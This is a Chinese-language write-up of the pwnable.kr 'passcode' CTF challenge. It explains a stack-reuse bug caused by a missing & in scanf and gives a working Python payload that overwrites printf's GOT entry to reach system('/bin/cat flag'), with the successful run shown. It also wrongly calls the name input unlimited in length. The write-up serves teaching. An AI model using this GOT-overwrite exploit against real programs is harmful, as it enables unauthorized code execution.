pwnable .kr passcode

这道题需要了解 栈溢出的原理和GOT表

首先我们先了解一下这个题的代码：

```
void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}
```

它是先调用了 welcome函数 输入名字，然后调用login函数输入密码。

我们可以看到 name 输入的长度是不受限制的。

login函数中 `scanf("%d", passcode1);` 没有取地址符 `&` 这样输入的数据 就会写入 passcode的内容所代表的地址上，有可能是一个不可写的位置。

同时我们知道 welcome和login的ebp是相同的。

由此看来 思路是：

- 我们通过输入name的值来填充栈上的内容，这样我们可以改变 passcode1 位置的内容
- 此时调用 `scanf("%d", passcode1)` 函数，会向这个地址处printf*got*addr处写数据，也 就是要修改printf_got的地址
- 修改成 `system("/bin/cat flag")` 的地址

操作

```
liqingyuan @ ubuntu in ~/Desktop [21:12:21] C:2
$ objdump -R passcode

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin
0804a000 R_386_JUMP_SLOT   printf
0804a004 R_386_JUMP_SLOT   fflush
0804a008 R_386_JUMP_SLOT   __stack_chk_fail
0804a00c R_386_JUMP_SLOT   puts
0804a010 R_386_JUMP_SLOT   system
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit
0804a01c R_386_JUMP_SLOT   __libc_start_main
0804a020 R_386_JUMP_SLOT   __isoc99_scanf
```

得到printf *got*addr `0x0804a000`

确定name和passcode1的相对位置

```
8048625:   e8 f6 fd ff ff          call   8048420 <printf@plt>
804862a:   b8 dd 87 04 08          mov    $0x80487dd,%eax
804862f:   8d 55 90                lea    -0x70(%ebp),%edx
8048632:   89 54 24 04             mov    %edx,0x4(%esp)
8048636:   89 04 24                mov    %eax,(%esp)
8048639:   e8 62 fe ff ff          call   80484a0 <__isoc99_scanf@plt>
```

由上可知 name的地址为 `-0x70(%ebp)`

```
8048572:	e8 a9 fe ff ff      	call   8048420 <printf@plt>
8048577:	b8 83 87 04 08      	mov    $0x8048783,%eax
804857c:	8b 55 f0            	mov    -0x10(%ebp),%edx
804857f:	89 54 24 04         	mov    %edx,0x4(%esp)
8048583:	89 04 24            	mov    %eax,(%esp)
8048586:	e8 15 ff ff ff      	call   80484a0 <__isoc99_scanf@plt>
```

由上可知 passcode1 的地址为 `-0x10(%ebp)`

所以他们之间的相对位置是 （十进制）96

然后我们确定一下 `system("/bin/cat flag")` 的地址

```
80485e3:	c7 04 24 af 87 04 08	movl   $0x80487af,(%esp)
80485ea:	e8 71 fe ff ff      	call   8048460 <system@plt>
```

为 `0x80485e3` （这个是传参）。

我们就可以构建payload的了

`python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode`

```
passcode@ubuntu:~$ python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaa!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
passcode@ubuntu:~$
```

得到 flag。

Sorry mom.. I got confused about scanf usage :(